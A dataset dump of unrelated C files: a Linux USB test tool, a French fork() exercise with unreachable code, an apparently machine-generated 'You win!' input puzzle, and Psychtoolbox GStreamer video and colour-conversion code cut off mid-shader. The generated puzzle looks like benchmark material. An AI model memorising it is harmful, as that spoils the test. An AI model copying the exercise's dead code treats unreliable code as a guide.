/* some GPL'd test firmware uses these IDs */
if (dev.idVendor == 0xfff0 && dev.idProduct == 0xfff0)
return 0;
/*----------------------------------------------------*/
/* iBOT2 high speed webcam */
if (dev.idVendor == 0x0b62 && dev.idProduct == 0x0059)
return 0;
/*----------------------------------------------------*/
/* the FunctionFS gadget can have the source/sink interface
* anywhere. We look for an interface descriptor that match
* what we expect. We ignore configuratiens thou. */
if (dev.idVendor == 0x0525 && dev.idProduct == 0xa4ac
&& (dev.bDeviceClass == USB_CLASS_PER_INTERFACE
|| dev.bDeviceClass == USB_CLASS_VENDOR_SPEC))
return testdev_ffs_ifnum(fd);
return -1;
}
static int find_testdev(const char *name, const struct stat *sb, int flag)
{
FILE *fd;
int ifnum;
struct testdev *entry;
(void)sb; /* unused */
if (flag != FTW_F)
return 0;
/* ignore /proc/bus/usb/{devices,drivers} */
if (strrchr(name, '/')[1] == 'd')
return 0;
fd = fopen(name, "rb");
if (!fd) {
perror(name);
return 0;
}
ifnum = testdev_ifnum(fd);
fclose(fd);
if (ifnum < 0)
return 0;
entry = calloc(1, sizeof *entry);
if (!entry)
goto nomem;
entry->name = strdup(name);
if (!entry->name) {
free(entry);
nomem:
perror("malloc");
return 0;
}
entry->ifnum = ifnum;
/* FIXME ask usbfs what speed; update USBDEVFS_CONNECTINFO so
* it tells about high speed etc */
fprintf(stderr, "%s speed\t%s\t%u\n",
speed(entry->speed), entry->name, entry->ifnum);
entry->next = testdevs;
testdevs = entry;
return 0;
}
static int
usbdev_ioctl (int fd, int ifno, unsigned request, void *param)
{
struct usbdevfs_ioctl wrapper;
wrapper.ifno = ifno;
wrapper.ioctl_code = request;
wrapper.data = param;
return ioctl (fd, USBDEVFS_IOCTL, &wrapper);
}
static void *handle_testdev (void *arg)
{
struct testdev *dev = arg;
int fd, i;
int status;
if ((fd = open (dev->name, O_RDWR)) < 0) {
perror ("can't open dev file r/w");
return 0;
}
restart:
for (i = 0; i < TEST_CASES; i++) {
if (dev->test != -1 && dev->test != i)
continue;
dev->param.test_num = i;
status = usbdev_ioctl (fd, dev->ifnum,
USBTEST_REQUEST, &dev->param);
if (status < 0 && errno == EOPNOTSUPP)
continue;
/* FIXME need a "syslog it" option for background testing */
/* NOTE: each thread emits complete lines; no fragments! */
if (status < 0) {
char buf [80];
int err = errno;
if (strerror_r (errno, buf, sizeof buf)) {
snprintf (buf, sizeof buf, "error %d", err);
errno = err;
}
printf ("%s test %d --> %d (%s)\n",
dev->name, i, errno, buf);
} else
printf ("%s test %d, %4d.%.06d secs\n", dev->name, i,
(int) dev->param.duration.tv_sec,
(int) dev->param.duration.tv_usec);
fflush (stdout);
}
if (dev->forever)
goto restart;
close (fd);
return arg;
}
static const char *usbfs_dir_find(void)
{
static char usbfs_path_0[] = "/dev/usb/devices";
static char usbfs_path_1[] = "/proc/bus/usb/devices";
static char *const usbfs_paths[] = {
usbfs_path_0, usbfs_path_1
};
static char *const *
end = usbfs_paths + sizeof usbfs_paths / sizeof *usbfs_paths;
char *const *it = usbfs_paths;
do {
int fd = open(*it, O_RDONLY);
close(fd);
if (fd >= 0) {
strrchr(*it, '/')[0] = '\0';
return *it;
}
} while (++it != end);
return NULL;
}
static int parse_num(unsigned *num, const char *str)
{
unsigned long val;
char *end;
errno = 0;
val = strtoul(str, &end, 0);
if (errno || *end || val > UINT_MAX)
return -1;
*num = val;
return 0;
}
int main (int argc, char **argv)
{
int c;
struct testdev *entry;
char *device;
const char *usbfs_dir = NULL;
int all = 0, forever = 0, not = 0;
int test = -1 /* all */;
struct usbtest_param param;
/* pick defaults that works with all speeds, without short packets.
*
* Best per-frame data rates:
* high speed, bulk 512 * 13 * 8 = 53248
* interrupt 1024 * 3 * 8 = 24576
* full speed, bulk/intr 64 * 19 = 1216
* interrupt 64 * 1 = 64
* low speed, interrupt 8 * 1 = 8
*/
param.iterations = 1000;
param.length = 512;
param.vary = 512;
param.sglen = 32;
/* for easy use when hotplugging */
device = getenv ("DEVICE");
while ((c = getopt (argc, argv, "D:aA:c:g:hns:t:v:")) != EOF)
switch (c) {
case 'D': /* device, if only one */
device = optarg;
continue;
case 'A': /* use all devices with specified usbfs dir */
usbfs_dir = optarg;
/* FALL THROUGH */
case 'a': /* use all devices */
device = NULL;
all = 1;
continue;
case 'c': /* count iterations */
if (parse_num(¶m.iterations, optarg))
goto usage;
continue;
case 'g': /* scatter/gather entries */
if (parse_num(¶m.sglen, optarg))
goto usage;
continue;
case 'l': /* loop forever */
forever = 1;
continue;
case 'n': /* no test running! */
not = 1;
continue;
case 's': /* size of packet */
if (parse_num(¶m.length, optarg))
goto usage;
continue;
case 't': /* run just one test */
test = atoi (optarg);
if (test < 0)
goto usage;
continue;
case 'v': /* vary packet size by ... */
if (parse_num(¶m.vary, optarg))
goto usage;
continue;
case '?':
case 'h':
default:
usage:
fprintf (stderr, "usage: %s [-n] [-D dev | -a | -A usbfs-dir]\n"
"\t[-c iterations] [-t testnum]\n"
"\t[-s packetsize] [-g sglen] [-v vary]\n",
argv [0]);
return 1;
}
if (optind != argc)
goto usage;
if (!all && !device) {
fprintf (stderr, "must specify '-a' or '-D dev', "
"or DEVICE=/proc/bus/usb/BBB/DDD in env\n");
goto usage;
}
/* Find usbfs mount point */
if (!usbfs_dir) {
usbfs_dir = usbfs_dir_find();
if (!usbfs_dir) {
fputs ("usbfs files are missing\n", stderr);
return -1;
}
}
/* collect and list the test devices */
if (ftw (usbfs_dir, find_testdev, 3) != 0) {
fputs ("ftw failed; is usbfs missing?\n", stderr);
return -1;
}
/* quit, run single test, or create test threads */
if (!testdevs && !device) {
fputs ("no test devices recognized\n", stderr);
return -1;
}
if (not)
return 0;
if (testdevs && testdevs->next == 0 && !device)
device = testdevs->name;
for (entry = testdevs; entry; entry = entry->next) {
int status;
entry->param = param;
entry->forever = forever;
entry->test = test;
if (device) {
if (strcmp (entry->name, device))
continue;
return handle_testdev (entry) != entry;
}
status = pthread_create (&entry->thread, 0, handle_testdev, entry);
if (status) {
perror ("pthread_create");
continue;
}
}
if (device) {
struct testdev dev;
/* kernel can recognize test devices we don't */
fprintf (stderr, "%s: %s may see only control tests\n",
argv [0], device);
memset (&dev, 0, sizeof dev);
dev.name = device;
dev.param = param;
dev.forever = forever;
dev.test = test;
return handle_testdev (&dev) != &dev;
}
/* wait for tests to complete */
for (entry = testdevs; entry; entry = entry->next) {
void *retval;
if (pthread_join (entry->thread, &retval))
perror ("pthread_join");
/* testing errors discarded! */
}
return 0;
}
|
the_stack_data/235025.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
int n;
if ((n = fork()) == 0)
{
// Fils 1
printf("Fils 1 : Processus fils avec PID : %i\n", getpid());
printf("Fils 1 : Mon processus père est : %i\n", getppid());
printf("\n");
exit(0);
sleep(1);
/*int n4;
if ((n4 = fork()) == 0)
{
printf("Père Fils 1 : Processus fils avec PID : %i\n", getpid());
printf("Père Fils 1 : Mon processus père est : %i\n", getppid());
printf("\n");
exit(0);
}
else if (n4 < 0)
{
printf("Erreur\n");
return -1;
}
sleep(1);*/
}
else
{
if ((n > 0))
{
// Père
printf("Père : Processus père avec PID : %i\n", getpid());
printf("\n");
int n2;
if ((n2 = fork()) == 0)
{
// Fils
printf("Fils 2 : Processus fils avec PID : %i\n", getpid());
printf("Fils 2 : Mon processus père est : %i\n", getppid());
printf("\n");
exit(0);
int n3;
if ((n3 = fork()) == 0)
{
// Fils
printf("Fils 2 : Processus fils avec PID : %i\n", getpid());
printf("Fils 2 : Mon processus père est : %i\n", getppid());
printf("\n");
exit(0);
}
else
{
// Erreur
printf("Erreur de PID\n");
return -1;
}
sleep(1);
}
else if (n2 < 0)
{
printf("Erreur création fils 2\n");
return -1;
}
//Temps d'attente
sleep(1);
}
else
{
// Erreur
printf("Erreur de PID\n");
return -1;
}
}
} |
the_stack_data/68888479.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern float strtof(char const *str , char const *endptr ) ;
extern void signal(int sig , void *func ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned long input[1] , unsigned long output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
int main(int argc , char *argv[] )
{
unsigned long input[1] ;
unsigned long output[1] ;
int randomFuns_i5 ;
unsigned long randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 4242424242UL) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%lu\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
void RandomFunc(unsigned long input[1] , unsigned long output[1] )
{
unsigned long state[1] ;
unsigned long local2 ;
unsigned long local1 ;
unsigned int copy11 ;
unsigned int copy12 ;
char copy13 ;
unsigned int copy14 ;
{
state[0UL] = (input[0UL] + 914778474UL) - 981234615UL;
local1 = 0UL;
while (local1 < 0UL) {
local2 = 0UL;
while (local2 < 0UL) {
if (state[0UL] < local2 + local1) {
copy11 = *((unsigned int *)(& state[local2]) + 0);
*((unsigned int *)(& state[local2]) + 0) = *((unsigned int *)(& state[local2]) + 1);
*((unsigned int *)(& state[local2]) + 1) = copy11;
copy12 = *((unsigned int *)(& state[0UL]) + 0);
*((unsigned int *)(& state[0UL]) + 0) = *((unsigned int *)(& state[0UL]) + 1);
*((unsigned int *)(& state[0UL]) + 1) = copy12;
} else {
copy13 = *((char *)(& state[local1]) + 3);
*((char *)(& state[local1]) + 3) = *((char *)(& state[local1]) + 7);
*((char *)(& state[local1]) + 7) = copy13;
copy14 = *((unsigned int *)(& state[local1]) + 0);
*((unsigned int *)(& state[local1]) + 0) = *((unsigned int *)(& state[local1]) + 1);
*((unsigned int *)(& state[local1]) + 1) = copy14;
}
local2 ++;
}
local1 ++;
}
output[0UL] = (state[0UL] + 168932551UL) + 1042640300UL;
}
}
void megaInit(void)
{
{
}
}
|
the_stack_data/43887454.c | /*
PsychSourceGL/Source/Common/Screen/PsychMovieSupportGStreamer.c
PLATFORMS: All
AUTHORS:
[email protected] mk Mario Kleiner
HISTORY:
28.11.2010 mk Wrote it.
20.08.2014 mk Ported to GStreamer-1.4.x and later.
DESCRIPTION:
Psychtoolbox functions for dealing with movies. This is the operating system independent
version which uses the GStreamer media framework, version 1.4 or later.
These PsychGSxxx functions are called from the dispatcher in
Common/Screen/PsychMovieSupport.[hc].
*/
#ifdef PTB_USE_GSTREAMER
#include "Screen.h"
#include <glib.h>
#include "PsychMovieSupportGStreamer.h"
#include <gst/gst.h>
// Include for dynamic binding of optional functions (dlsym()), only needed for Unix:
#if PSYCH_SYSTEM != PSYCH_WINDOWS
#include <dlfcn.h>
#endif
#if GST_CHECK_VERSION(1,0,0)
#include <gst/app/gstappsink.h>
#include <gst/video/video.h>
// When building against < GStreamer 1.18.0, define missing GST_VIDEO_FORMAT_Y444_16LE:
#ifndef GST_VIDEO_FORMAT_Y444_16LE
#define GST_VIDEO_FORMAT_Y444_16LE 88
#endif
// Need to define this for playbin as it is not defined
// in any header file: (Expected behaviour - not a bug)
typedef enum {
GST_PLAY_FLAG_VIDEO = (1 << 0),
GST_PLAY_FLAG_AUDIO = (1 << 1),
GST_PLAY_FLAG_TEXT = (1 << 2),
GST_PLAY_FLAG_VIS = (1 << 3),
GST_PLAY_FLAG_SOFT_VOLUME = (1 << 4),
GST_PLAY_FLAG_NATIVE_AUDIO = (1 << 5),
GST_PLAY_FLAG_NATIVE_VIDEO = (1 << 6),
GST_PLAY_FLAG_DOWNLOAD = (1 << 7),
GST_PLAY_FLAG_BUFFERING = (1 << 8),
GST_PLAY_FLAG_DEINTERLACE = (1 << 9)
} GstPlayFlags;
#define PSYCH_MAX_MOVIES 100
typedef struct {
psych_bool valid;
int type;
double displayPrimaryRed[2];
double displayPrimaryGreen[2];
double displayPrimaryBlue[2];
double whitePoint[2];
double minLuminance;
double maxLuminance;
double maxFrameAverageLightLevel;
double maxContentLightLevel;
} PsychMovieHDRMetaData;
typedef struct {
psych_mutex mutex;
psych_condition condition;
double pts;
GstElement *theMovie;
GMainLoop *MovieContext;
GstElement *videosink;
PsychWindowRecordType* parentRecord;
unsigned char *imageBuffer;
int frameAvail;
int preRollAvail;
double rate;
int startPending;
int endOfFetch;
int specialFlags1;
int pixelFormat;
int loopflag;
double movieduration;
int nrframes;
double fps;
int width;
int height;
double aspectRatio;
int bitdepth;
double last_pts;
int nr_droppedframes;
int nrAudioTracks;
int nrVideoTracks;
char movieLocation[FILENAME_MAX];
char movieName[FILENAME_MAX];
GLuint cached_texture;
PsychMovieHDRMetaData hdrMetaData;
GstVideoInfo codecVideoInfo;
GstVideoInfo sinkVideoInfo;
GLuint texturePlanarHDRDecodeShader;
} PsychMovieRecordType;
static PsychMovieRecordType movieRecordBANK[PSYCH_MAX_MOVIES];
static int numMovieRecords = 0;
static psych_bool firsttime = TRUE;
// Helper functions for generation of CSC matrices:
// These are a slightly modified version from the original sample code provided
// by Ryan Juckett (thanks!), which was part of a nice primer on color spaces on
// his website under http://www.ryanjuckett.com/programming/rgb-color-space-conversion
//
// The code and math used here is identical with math from Bruce Lindbloom, under
// http://www.brucelindbloom.com/index.html?Eqn_RGB_XYZ_Matrix.html
//
// The code is also consistent with GStreamer's CSC implementation.
//
// The sample code is licensed as follows:
//
/******************************************************************************
* Copyright (c) 2010 Ryan Juckett
* http://www.ryanjuckett.com/
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
******************************************************************************/
// Mario Kleiner made the following modifications:
// Change basic data type from float to double, for higher precision.
// Removed C++'isms, so it compiles as part of a regular C compilation unit.
// Slight code reformatting.
// Add additional helper function Mat_Mult at the end of the original sample code.
//
//******************************************************************************
// 2-dimensional vector.
//******************************************************************************
typedef struct { double x, y; } tVec2;
//******************************************************************************
// 3-dimensional vector.
//******************************************************************************
typedef struct { double x, y, z; } tVec3;
//******************************************************************************
// 3x3 matrix
//******************************************************************************
typedef struct { double m[3][3]; } tMat3x3;
//******************************************************************************
// Set an indexed matrix column to a given vector.
//******************************************************************************
void Mat_SetCol(tMat3x3 * pMat, int colIdx, const tVec3 vec)
{
pMat->m[0][colIdx] = vec.x;
pMat->m[1][colIdx] = vec.y;
pMat->m[2][colIdx] = vec.z;
}
//******************************************************************************
// Calculate the inverse of a 3x3 matrix. Return false if it is non-invertible.
//******************************************************************************
bool Mat_Invert(tMat3x3 * pOutMat, const tMat3x3 inMat)
{
// calculate the minors for the first row
double minor00 = inMat.m[1][1]*inMat.m[2][2] - inMat.m[1][2]*inMat.m[2][1];
double minor01 = inMat.m[1][2]*inMat.m[2][0] - inMat.m[1][0]*inMat.m[2][2];
double minor02 = inMat.m[1][0]*inMat.m[2][1] - inMat.m[1][1]*inMat.m[2][0];
// calculate the determinant
double determinant = inMat.m[0][0] * minor00
+ inMat.m[0][1] * minor01
+ inMat.m[0][2] * minor02;
// check if the input is a singular matrix (non-invertable)
// (note that the epsilon here was arbitrarily chosen)
if( determinant > -0.000001f && determinant < 0.000001f )
return false;
// the inverse of inMat is (1 / determinant) * adjoint(inMat)
double invDet = 1.0f / determinant;
pOutMat->m[0][0] = invDet * minor00;
pOutMat->m[0][1] = invDet * (inMat.m[2][1]*inMat.m[0][2] - inMat.m[2][2]*inMat.m[0][1]);
pOutMat->m[0][2] = invDet * (inMat.m[0][1]*inMat.m[1][2] - inMat.m[0][2]*inMat.m[1][1]);
pOutMat->m[1][0] = invDet * minor01;
pOutMat->m[1][1] = invDet * (inMat.m[2][2]*inMat.m[0][0] - inMat.m[2][0]*inMat.m[0][2]);
pOutMat->m[1][2] = invDet * (inMat.m[0][2]*inMat.m[1][0] - inMat.m[0][0]*inMat.m[1][2]);
pOutMat->m[2][0] = invDet * minor02;
pOutMat->m[2][1] = invDet * (inMat.m[2][0]*inMat.m[0][1] - inMat.m[2][1]*inMat.m[0][0]);
pOutMat->m[2][2] = invDet * (inMat.m[0][0]*inMat.m[1][1] - inMat.m[0][1]*inMat.m[1][0]);
return true;
}
//******************************************************************************
// Multiply a column vector on the right of a 3x3 matrix.
//******************************************************************************
void Mat_MulVec( tVec3 * pOutVec, const tMat3x3 mat, const tVec3 inVec )
{
pOutVec->x = mat.m[0][0]*inVec.x + mat.m[0][1]*inVec.y + mat.m[0][2]*inVec.z;
pOutVec->y = mat.m[1][0]*inVec.x + mat.m[1][1]*inVec.y + mat.m[1][2]*inVec.z;
pOutVec->z = mat.m[2][0]*inVec.x + mat.m[2][1]*inVec.y + mat.m[2][2]*inVec.z;
}
//******************************************************************************
// Convert a linear sRGB color to an sRGB color
//******************************************************************************
void CalcColorSpaceConversion_RGB_to_XYZ(tMat3x3 * pOutput, // conversion matrix
const tVec2 red_xy, // xy chromaticity coordinates of the red primary
const tVec2 green_xy, // xy chromaticity coordinates of the green primary
const tVec2 blue_xy, // xy chromaticity coordinates of the blue primary
const tVec2 white_xy // xy chromaticity coordinates of the white point
)
{
// generate xyz chromaticity coordinates (x + y + z = 1) from xy coordinates
tVec3 r = { red_xy.x, red_xy.y, 1.0f - (red_xy.x + red_xy.y) };
tVec3 g = { green_xy.x, green_xy.y, 1.0f - (green_xy.x + green_xy.y) };
tVec3 b = { blue_xy.x, blue_xy.y, 1.0f - (blue_xy.x + blue_xy.y) };
tVec3 w = { white_xy.x, white_xy.y, 1.0f - (white_xy.x + white_xy.y) };
// Convert white xyz coordinate to XYZ coordinate by letting that the white
// point have and XYZ relative luminance of 1.0. Relative luminance is the Y
// component of and XYZ color.
// XYZ = xyz * (Y / y)
w.x /= white_xy.y;
w.y /= white_xy.y;
w.z /= white_xy.y;
// Solve for the transformation matrix 'M' from RGB to XYZ
// * We know that the columns of M are equal to the unknown XYZ values of r, g and b.
// * We know that the XYZ values of r, g and b are each a scaled version of the known
// corresponding xyz chromaticity values.
// * We know the XYZ value of white based on its xyz value and the assigned relative
// luminance of 1.0.
// * We know the RGB value of white is (1,1,1).
//
// white_XYZ = M * white_RGB
//
// [r.x g.x b.x]
// N = [r.y g.y b.y]
// [r.z g.z b.z]
//
// [sR 0 0 ]
// S = [0 sG 0 ]
// [0 0 sB]
//
// M = N * S
// white_XYZ = N * S * white_RGB
// N^-1 * white_XYZ = S * white_RGB = (sR,sG,sB)
//
// We now have an equation for the components of the scale matrix 'S' and
// can compute 'M' from 'N' and 'S'
Mat_SetCol( pOutput, 0, r );
Mat_SetCol( pOutput, 1, g );
Mat_SetCol( pOutput, 2, b );
tMat3x3 invMat;
Mat_Invert( &invMat, *pOutput );
tVec3 scale;
Mat_MulVec( &scale, invMat, w );
pOutput->m[0][0] *= scale.x;
pOutput->m[1][0] *= scale.x;
pOutput->m[2][0] *= scale.x;
pOutput->m[0][1] *= scale.y;
pOutput->m[1][1] *= scale.y;
pOutput->m[2][1] *= scale.y;
pOutput->m[0][2] *= scale.z;
pOutput->m[1][2] *= scale.z;
pOutput->m[2][2] *= scale.z;
}
// Multiply two 3x3 matrices with each other, return resulting 3x3 matrix:
void Mat_Mult(tMat3x3 *pOutMat, const tMat3x3 inMat1, const tMat3x3 inMat2) {
int i, j, k;
for (i = 0; i < 3; i++) {
for (j = 0; j < 3; j++) {
double x = 0;
for (k = 0; k < 3; k++) {
x += inMat1.m[i][k] * inMat2.m[k][j];
}
pOutMat->m[i][j] = x;
}
}
}
// End of helper routines for CSC matrix generation.
static char movieTexturePlanarVertexShaderSrc[] =
"/* Simple pass-through vertex shader: Emulates fixed function pipeline, but passes */\n"
"/* modulateColor as varying unclampedFragColor to circumvent vertex color */\n"
"/* clamping on gfx-hardware / OS combos that don't support unclamped operation: */\n"
"/* PTBs color handling is expected to pass the vertex color in modulateColor */\n"
"/* for unclamped drawing for this reason. */\n"
"\n"
"varying vec4 unclampedFragColor;\n"
"varying vec2 texNominalSize;\n"
"attribute vec4 modulateColor;\n"
"attribute vec4 sizeAngleFilterMode;\n"
"\n"
"void main()\n"
"{\n"
" /* Simply copy input unclamped RGBA pixel color into output varying color: */\n"
" unclampedFragColor = modulateColor;\n"
" texNominalSize = sizeAngleFilterMode.xy;\n"
"\n"
" gl_TexCoord[0] = gl_TextureMatrix[0] * gl_MultiTexCoord0;\n"
"\n"
" /* Output position is the same as fixed function pipeline: */\n"
" gl_Position = ftransform();\n"
"}\n\0";
static char movieTexturePlanarFragmentShaderSrc[] =
"/* YUV-I420/422/444 planar texture sampling fragment shader. */\n"
"/* Retrieves YUV samples from proper locations in planes. */\n"
"/* Handles 8/10/12/.../16 bpc signal value, and full/limited range. */\n"
"/* Converts YUV samples to non-linear RGB color triplets, applies */\n"
"/* EOTF mapping to linear RGB, and LDR/HDR range remapping, and */\n"
"/* color space conversion, as needed. Finally GL_MODULATE texture */\n"
"/* function emulation is applied before fragment output. */\n"
"\n"
"/* switch() statement in shader needs GLSL 1.30+: */\n"
"#version 130\n"
"#extension GL_ARB_texture_rectangle : enable\n"
"\n"
"uniform sampler2DRect Image;\n"
"uniform float yChromaScale;\n"
"uniform int eotfType;\n"
"uniform float unormInputScaling;\n"
"uniform vec3 rangeScale;\n"
"uniform vec3 rangeOffset;\n"
"uniform float Kr;\n"
"uniform float Kb;\n"
"uniform mat3x3 M_CSC;\n"
"uniform float outUnitMultiplier;\n"
"varying vec4 unclampedFragColor;\n"
"varying vec2 texNominalSize;\n"
"\n"
"void main()\n"
"{\n"
" float y, u, v;\n"
" float nx, ny;\n"
" vec3 s, L, rgb;\n"
"\n"
" /* Nominal video texel position: */\n"
" nx = gl_TexCoord[0].x;\n"
" ny = gl_TexCoord[0].y;\n"
"\n"
" /* Get luma Y, scaled to the full digital signal content range, e.g., 0-255 for 8bpc, 0-1023 for 10 bpc, 0-4095 for 12bpc, 0-65535 for 16bpc: */\n"
" y = texture2DRect(Image, vec2(nx, ny)).r * unormInputScaling;\n"
"\n"
" /* yChromaScale != 2 signals a sampling layout other than I444, so chroma planes need different (nx,ny) sampling than luma plane: */\n"
" if (yChromaScale != 2.0) {\n"
" /* Compute lookup positions in U, V planes for chroma samples, for I420, I422 planar layout, depending on */\n"
" /* (quasi constant for all invocations of this shader) yChromaScale value: */\n"
" ny = floor(ny * yChromaScale);\n"
" nx = floor(nx * 0.5);\n"
" if (mod(ny, 2.0) >= 0.5) {\n"
" nx += texNominalSize.x * 0.5;\n"
" }\n"
"\n"
" ny = (ny - mod(ny, 2.0)) * 0.5;\n"
" }\n"
"\n"
" /* Get U, V chroma samples, scaled to the full digital signal content range: */\n"
" u = texture2DRect(Image, vec2(nx, ny + texNominalSize.y)).r * unormInputScaling;\n"
" v = texture2DRect(Image, vec2(nx, ny + texNominalSize.y + (0.5 * yChromaScale * texNominalSize.y))).r * unormInputScaling;\n"
"\n"
" /* Undo potential limited video range, scale to normalized range to get back to [0 ; 1] range for luma,\n"
" * [-0.5 ; 0.5] range for chroma: */\n"
" y = (y - rangeOffset[0]) * rangeScale[0];\n"
" u = (u - rangeOffset[1]) * rangeScale[1];\n"
" v = (v - rangeOffset[2]) * rangeScale[2];\n"
"\n"
" /* Clamp to valid range: */\n"
" y = clamp(y, 0.0, 1.0);\n"
" u = clamp(u, -0.5, 0.5);\n"
" v = clamp(v, -0.5, 0.5);\n"
"\n"
" /* Convert from yuv to r'g'b' by multiplication with suitable color matrix: */\n"
" rgb.r = y + 2.0 * (1.0 - Kr) * v;\n"
" rgb.g = y - 2.0 * (1.0 - Kb) * Kb / (1.0 - Kr - Kb) * u - 2.0 * (1.0 - Kr) * Kr / (1.0 - Kr - Kb) * v;\n"
" rgb.b = y + 2.0 * (1.0 - Kb) * u;\n"
"\n"
" /* Clamp to valid range: This is important, as some movies can contain out-of-gamut y,u,v values which */\n"
" /* cause the converted r'g'b' value to become out of allowed [0; 1] range, especially a bit < 0.0. This */\n"
" /* would cause the math below to fail, creating and propagating NaN's into very visible visual artifacts! */\n"
" rgb = clamp(rgb, 0.0, 1.0);\n"
"\n"
" /* Convert from r'g'b' non-linear encoding to rgb linear encoding by applying suitable EOTF: */\n"
" switch (eotfType) {\n"
" case 0: /* GST_VIDEO_TRANSFER_UNKNOWN: Do not know what this is! */\n"
" default:\n"
" /* Unknown EOTF! Send out a visual indicator to user that something is amiss here: */\n"
" rgb.r = step(10.0, mod(ny, 20.0));\n"
" L = mix(rgb, vec3(0.5), rgb.r);\n"
" break;\n"
"\n"
" case 1: /* GST_VIDEO_TRANSFER_GAMMA10: LDR */\n"
" /* Gamma 1.0 == linear - EOTF == Already linear rgb encoding in r,g,b so nothing to do: */\n"
" L = rgb;\n"
" break;\n"
"\n"
" case 2: {\n"
" /* 2 = GST_VIDEO_TRANSFER_GAMMA18: LDR */\n"
" L = pow(rgb, vec3(1.8));\n"
" break;\n"
" }\n"
"\n"
" case 3: {\n"
" /* 3 = GST_VIDEO_TRANSFER_GAMMA20: LDR */\n"
" L = pow(rgb, vec3(2.0));\n"
" break;\n"
" }\n"
"\n"
" case 4: {\n"
" /* 4 = GST_VIDEO_TRANSFER_GAMMA22: LDR */\n"
" L = pow(rgb, vec3(2.2));\n"
" break;\n"
" }\n"
"\n"
" case 5: /* GST_VIDEO_TRANSFER_BT709: LDR */\n"
" case 16: /* GST_VIDEO_TRANSFER_BT601: LDR */\n"
" case 13: { /* GST_VIDEO_TRANSFER_BT2020_10: LDR */\n"
" /* 5/16/13 = All the same: */\n"
" /* rgb < 0.081 --> rgb / 4.5 */\n"
" s = step(vec3(0.081), rgb);\n"
" L = mix(rgb / 4.5, pow((rgb + 0.099) / 1.099, vec3(1.0 / 0.45)), s);\n"
" break;\n"
" }\n"
"\n"
" case 6: { /* GST_VIDEO_TRANSFER_SMPTE240M: LDR */\n"
" /* rgb < 0.0913 --> rgb / 4 */\n"
" s = step(vec3(0.0913), rgb);\n"
" L = mix(rgb / 4.0, pow((rgb + 0.1115) / 1.1115, vec3(1.0 / 0.45)), s);\n"
" break;\n"
" }\n"
"\n"
" case 7: { /* GST_VIDEO_TRANSFER_SRGB: LDR */\n"
" /* rgb <= 0.4045 --> rgb / 12.92 */\n"
" s = step(rgb, vec3(0.04045));\n"
" L = mix(pow((rgb + 0.055) / 1.055, vec3(2.4)), rgb / 12.92, s);\n"
" break;\n"
" }\n"
"\n"
" case 8: {\n"
" /* 8 = GST_VIDEO_TRANSFER_GAMMA28: LDR */\n"
" L = pow(rgb, vec3(2.8));\n"
" break;\n"
" }\n"
"\n"
" case 9: { /* GST_VIDEO_TRANSFER_LOG100: LDR */\n"
" /* rgb > 0 --> pow */\n"
" s = step(rgb, vec3(0.0));\n"
" L = mix(pow(vec3(10.0), 2.0 * (rgb - 1.0)), vec3(0.0), s);\n"
" break;\n"
" }\n"
"\n"
" case 10: { /* GST_VIDEO_TRANSFER_LOG316: LDR */\n"
" /* rgb > 0 --> pow */\n"
" s = step(rgb, vec3(0.0));\n"
" L = mix(pow(vec3(10.0), 2.5 * (rgb - 1.0)), vec3(0.0), s);\n"
" break;\n"
" }\n"
"\n"
" case 11: {\n"
" /* 11 = GST_VIDEO_TRANSFER_BT2020_12: LDR */\n"
" /* rgb < 0.08145 --> rgb / 4.5 */\n"
" s = step(vec3(0.08145), rgb);\n"
" L = mix(rgb / 4.5, pow((rgb + 0.0993) / 1.0993, vec3(1.0 / 0.45)), s);\n"
" break;\n"
" }\n"
"\n"
" case 12: {\n"
" /* 12 = GST_VIDEO_TRANSFER_ADOBERGB: LDR */\n"
" L = pow(rgb, vec3(2.19921875));\n"
" break;\n"
" }\n"
"\n"
" case 14: {\n"
" /* 14 = GST_VIDEO_TRANSFER_SMPTE2084: SMPTE ST-2084 PQ EOTF: HDR */\n"
" const float c1 = 0.8359375;\n"
" const float c2 = 18.8515625;\n"
" const float c3 = 18.6875;\n"
" const float mi = 1.0 / 78.84375;\n"
" const float ni = 1.0 / 0.1593017578125;\n"
"\n"
" L = pow(rgb, vec3(mi));\n"
" L = pow(max(L - vec3(c1), vec3(0.0)) / (vec3(c2) - vec3(c3) * L), vec3(ni));\n"
"\n"
